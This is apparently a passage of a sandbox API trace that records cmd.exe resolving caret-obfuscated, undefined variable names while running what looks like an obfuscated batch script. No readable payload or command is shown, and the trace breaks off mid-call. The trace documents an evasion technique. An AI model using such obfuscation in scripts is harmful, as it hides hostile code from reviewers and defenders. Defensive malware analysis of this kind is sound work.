z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="CMDCMDLINE") returned -5 [0099.184] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="DATE") returned -6 [0099.184] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="TIME") returned -22 [0099.184] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="RANDOM") returned -20 [0099.184] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.184] GetEnvironmentVariableW (in: lpName="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.184] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="CD") returned -5 [0099.184] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="ERRORLEVEL") returned -7 [0099.184] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="CMDEXTVERSION") returned -5 [0099.184] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="CMDCMDLINE") returned -5 [0099.184] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="DATE") returned -6 [0099.184] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="TIME") returned -22 [0099.184] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="RANDOM") returned -20 [0099.184] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.185] GetEnvironmentVariableW (in: lpName="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.185] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="CD") returned -5 [0099.185] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0099.185] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0099.185] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0099.185] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="DATE") returned -6 [0099.185] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="TIME") returned -22 [0099.185] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="RANDOM") returned -20 [0099.185] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.185] GetEnvironmentVariableW (in: lpName="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.185] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="CD") returned -5 [0099.185] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0099.185] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0099.185] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0099.185] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="DATE") returned -6 [0099.185] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="TIME") returned -22 [0099.185] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="RANDOM") returned -20 [0099.185] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.185] GetEnvironmentVariableW (in: lpName="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.185] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="CD") returned -5 [0099.185] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0099.185] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0099.185] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0099.186] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="DATE") returned -6 [0099.186] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="TIME") returned -22 [0099.186] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="RANDOM") returned -20 [0099.186] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.186] GetEnvironmentVariableW (in: lpName="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.186] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="CD") returned -5 [0099.186] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0099.186] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0099.186] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0099.186] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="DATE") returned -6 [0099.186] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="TIME") returned -22 [0099.186] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="RANDOM") returned -20 [0099.186] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.186] GetEnvironmentVariableW (in: lpName="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.186] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="CD") returned 23 [0099.186] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="ERRORLEVEL") returned 21 [0099.186] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="CMDEXTVERSION") returned 23 [0099.186] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="CMDCMDLINE") returned 23 [0099.186] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="DATE") returned 22 [0099.186] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="TIME") returned 6 [0099.186] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="RANDOM") returned 8 [0099.187] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned 18 [0099.187] GetEnvironmentVariableW (in: lpName="R^en6w^L^P^j^y^{^7^y^jU^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.187] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="CD") returned 15 [0099.187] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="ERRORLEVEL") returned 13 [0099.187] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="CMDEXTVERSION") returned 15 [0099.187] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="CMDCMDLINE") returned 15 [0099.187] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="DATE") returned 14 [0099.187] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="TIME") returned -2 [0099.187] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="RANDOM") returned -3 [0099.187] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="HIGHESTNUMANODENUMBER") returned 10 [0099.187] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.187] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="CD") returned -5 [0099.187] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0099.187] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0099.187] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0099.187] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="DATE") returned -6 [0099.187] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="TIME") returned -22 [0099.187] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="RANDOM") returned -20 [0099.187] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.188] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="CD") returned -5 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="ERRORLEVEL") returned -7 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="CMDEXTVERSION") returned -5 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="CMDCMDLINE") returned -5 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="DATE") returned -6 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="TIME") returned -22 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="RANDOM") returned -20 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.188] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="CD") returned -5 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="DATE") returned -6 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="TIME") returned -22 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="RANDOM") returned -20 [0099.188] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.189] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.189] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="CD") returned -5 [0099.189] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="ERRORLEVEL") returned -7 [0099.189] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="CMDEXTVERSION") returned -5 [0099.189] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="CMDCMDLINE") returned -5 [0099.189] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="DATE") returned -6 [0099.189] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="TIME") returned -22 [0099.189] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="RANDOM") returned -20 [0099.189] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.189] GetEnvironmentVariableW (in: lpName="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.189] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="CD") returned -5 [0099.189] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="ERRORLEVEL") returned -7 [0099.189] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="CMDEXTVERSION") returned -5 [0099.189] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="CMDCMDLINE") returned -5 [0099.189] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="DATE") returned -6 [0099.189] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="TIME") returned -22 [0099.189] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="RANDOM") returned -20 [0099.189] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.189] GetEnvironmentVariableW (in: lpName="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.189] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="CD") returned -5 [0099.190] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="ERRORLEVEL") returned -7 [0099.190] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="CMDEXTVERSION") returned -5 [0099.190] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="CMDCMDLINE") returned -5 [0099.190] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="DATE") returned -6 [0099.190] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="TIME") returned -22 [0099.190] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="RANDOM") returned -20 [0099.190] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.190] GetEnvironmentVariableW (in: lpName=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.190] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="CD") returned -53 [0099.190] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="ERRORLEVEL") returned -55 [0099.190] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="CMDEXTVERSION") returned -53 [0099.190] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="CMDCMDLINE") returned -53 [0099.190] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="DATE") returned -54 [0099.190] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="TIME") returned -70 [0099.190] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="RANDOM") returned -68 [0099.190] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="HIGHESTNUMANODENUMBER") returned -58 [0099.190] GetEnvironmentVariableW (in: lpName="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.190] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="CD") returned -5 [0099.190] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="ERRORLEVEL") returned -7 [0099.190] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="CMDEXTVERSION") returned -5 [0099.190] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="CMDCMDLINE") returned -5 [0099.190] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="DATE") returned -6 [0099.191] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="TIME") returned -22 [0099.191] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="RANDOM") returned -20 [0099.191] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.191] GetEnvironmentVariableW (in: lpName="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", lpBuffer=0x4a0df360, 